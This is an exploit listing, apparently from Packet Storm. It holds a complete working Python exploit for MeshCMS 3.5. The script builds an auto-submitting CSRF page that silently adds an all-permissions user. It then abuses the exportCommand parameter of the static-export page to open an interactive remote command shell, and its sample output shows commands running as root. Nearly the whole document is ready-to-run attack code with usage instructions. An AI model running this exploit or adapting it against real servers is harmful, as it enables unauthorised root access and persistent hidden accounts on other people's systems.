MeshCMS 3.5 Remote Code Execution

2011-01-16T00:00:00
ID PACKETSTORM:97569
Type packetstorm
Reporter mr_me
Modified 2011-01-16T00:00:00

Description

                                        
                                            `#!/usr/bin/python  
# MeshCMS v3.5 remote code execution exploit  
# Environment:  
# Tomcat 7.02/ubuntu 10.04  
#  
# 1) details:  
# There is a add member/editor/admin CSRF vulnerability in this CMS which is very clean for an attacker.  
# The admin will not be told a user has been added and will land into the admin console without any other suspicion.  
# Additionally, the user cannot be simply deleted. Access to the filesystem is required to remove the  
# private/[username].xml config file required for the users authentication.  
#  
# 2) details:  
# The CMS actually allows users to execute a command when they backup the website files to an arbitary location on the server.  
# This is simply a design flaw and it doesn't matter if you are a member, editor or admin. You can execute code.  
#  
# Further notes:  
# If this CMS is deployed under tomcat, they will most likley be executing code @ tomcats privileges which is usually root.  
# This exploit will attempt to target both 1) and 2).  
#  
# Usage:  
# [mr_me@pluto meshcms]$ python ./meshmeup.py -c -t 192.168.1.15:8080 -d /meshcms/ -u test -P member  
#  
# | ------------------------------------------ |  
# | MeshCMS v3.5 Remote Code Execution Explo!t |  
# | by mr_me - net-ninja.net ----------------- |  
#  
# (+) Writing CSRF..  
# (!) Done! check index.html  
# [mr_me@pluto meshcms]$ python ./meshmeup.py -e -p localhost:8080 -t 192.168.1.15:8080 -d /meshcms/ -u test -P member  
#  
# | ------------------------------------------ |  
# | MeshCMS v3.5 Remote Code Execution Explo!t |  
# | by mr_me - net-ninja.net ----------------- |  
#  
# (+) Testing proxy @ localhost:8080.. proxy is found to be working!  
# (+) Logging into CMS.. Logged in successfully  
# (+) Be patient, the first few requests are slow.  
# (+) Entering interactive remote console (q for quit)  
#  
# mr_me@192.168.1.15:8080# id  
#  
# uid=0(root) gid=0(root) groups=0(root)  
#  
# mr_me@192.168.1.15:8080# uname -a  
#  
# Linux steven-desktop 2.6.32-27-generic #49-Ubuntu SMP Wed Dec 1 23:52:12 UTC 2010 i686 GNU/Linux  
#  
# mr_me@192.168.1.15:8080# q  
  
import sys, urllib, re, urllib2, getpass  
from optparse import OptionParser  
from random import choice  
from cookielib import CookieJar  
  
usage = "./%prog [<options>] -t [target] -d [directory] -u [user] -P [password]"  
usage += "\nExample 1: ./%prog -c -t 192.168.1.15 -d /meshcms/ -u test -P member"  
usage += "\nExample 2: ./%prog -e -p localhost:8080 -t 192.168.1.15 -d /meshcms/ -u test -P member"  
  
parser = OptionParser(usage=usage)  
parser.add_option("-p", type="string",action="store", dest="proxy",  
help="HTTP Proxy <server:port>")  
parser.add_option("-t", type="string", action="store", dest="target",  
help="The Target server <server:port>")  
parser.add_option("-d", type="string", action="store", dest="dirPath",  
help="Directory path to the CMS")  
parser.add_option("-u", type="string", action="store", dest="username",  
help="Member/Editor/Admin username")  
parser.add_option("-P", type="string", action="store", dest="password",  
help="Member/Editor/Admin password")  
parser.add_option("-c", action="store_true", dest="csrf",  
help="Create the add member CSRF")  
parser.add_option("-e", action="store_true", dest="exploit",  
help="Exploit the target with a shell (requires a valid account)")  
  
(options, args) = parser.parse_args()  
  
def banner():  
print "\n\t| ------------------------------------------ |"  
print "\t| MeshCMS v3.5 Remote Code Execution Explo!t |"  
print "\t| by mr_me - net-ninja.net ----------------- |\n"  
  
if len(sys.argv) < 9:  
banner()  
parser.print_help()  
sys.exit(1)  
  
agents = ["Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)",  
"Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)",  
"Microsoft Internet Explorer/4.0b1 (Windows 95)",  
"Opera/8.00 (Windows NT 5.1; U; en)"]  
  
def getProxy():  
try:  
proxy_handler = urllib2.ProxyHandler({'http': options.proxy})  
except(socket.timeout):  
print "\n(-) Proxy timed out"  
sys.exit(1)  
return proxy_handler  
  
def testProxy():  
sys.stdout.write("(+) Testing proxy @ %s.. " % (options.proxy))  
sys.stdout.flush()  
opener = urllib2.build_opener(getProxy())  
try:  
check = opener.open("http://www.google.com").read()  
except:  
check = 0  
pass  
if check >= 1:  
sys.stdout.write("proxy is found to be working!\n")  
sys.stdout.flush()  
else:  
print "proxy failed, exiting.."  
sys.exit(1)  
  
def writeCsrf():  
print "(+) Writing CSRF.."  
csrf = ("<html><body onload='document.f.submit()'>"  
"<form method=post name=f action=\"http://%s%smeshcms/admin/edituser2.jsp\">"  
"<input type=\"hidden\" name=\"new\" value=\"true\">"  
"<input type=\"hidden\" name=\"username\" value=\"%s\">"  
"<input type=\"hidden\" name=\"permissions\" value=\"16777215\">"  
"<input type=\"hidden\" name=\"password1\" value=\"%s\">"  
"<input type=\"hidden\" name=\"password2\" value=\"%s\"></form></body></html>" %  
(options.target, options.dirPath, options.username, options.password, options.password))  
try:  
mycsrf = open("index.html", "w")  
mycsrf.write(csrf)  
mycsrf.close()  
except:  
print "(-) Failed writing csrf.. exiting."  
print "(!) Done! check index.html"  
  
def interactiveAttack(opener):  
print "(+) Be patient, the first few requests are slow."  
print "(+) Entering interactive remote console (q for quit)\n"  
hn = "%s@%s# " % (getpass.getuser(), options.target)  
cmd = ""  
while cmd != 'q':  
try:  
cmd = raw_input(hn)  
cmd = '+'.join(cmd.split())  
sploit = ("http://%s%smeshcms/admin/staticexport2.jsp?exportBaseURL=http://%s%smeshcms/"  
"admin/help/en/index.html&exportDir=/tmp&exportCheckDates=true&exportCommand=%s&exportSaveConfig=true"  
% (options.target, options.dirPath, options.target, options.dirPath, cmd))  
try:  
check = opener.open(sploit).read()  
except urllib2.HTTPError, error:  
check = error.read()  
pass  
  
try:  
resp = check.split("standard output:")[1].split("end of standard output")[0]   
print resp  
except:  
pass  
  
except:  
break  
print "\n(-) Exiting.."  
  
def doLogin():  
sys.stdout.write("(+) Logging into CMS.. ")  
sys.stdout.flush()  
adminIndex = "http://" + options.target + options.dirPath + "meshcms/admin/login.jsp"  
values = {'username' : options.username, 'password' : options.password }  
data = urllib.urlencode(values)  
cj = CookieJar()  
if options.proxy:  
try:  
opener = urllib2.build_opener(getProxy(), urllib2.HTTPCookieProcessor(cj))  
check = opener.open(adminIndex, data).read()  
except:  
print "\n(-) Proxy connection failed to remote target"  
sys.exit(1)  
else:  
try:  
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))  
check = opener.open(adminIndex, data).read()  
except:  
print "(-) Target connection failed, check your address"  
sys.exit(1)  
if re.search("Login successful", check):  
sys.stdout.write("Logged in successfully\n")  
sys.stdout.flush()  
else:  
sys.stdout.write("Login Failed! Exiting..\n")  
sys.stdout.flush()  
sys.exit(1)  
return opener  
  
if __name__ == "__main__":  
banner()  
if options.exploit:  
if options.proxy:  
testProxy()  
myopener = doLogin()  
interactiveAttack(myopener)  
elif options.csrf:  
writeCsrf()  
addadmin = ""  
  
`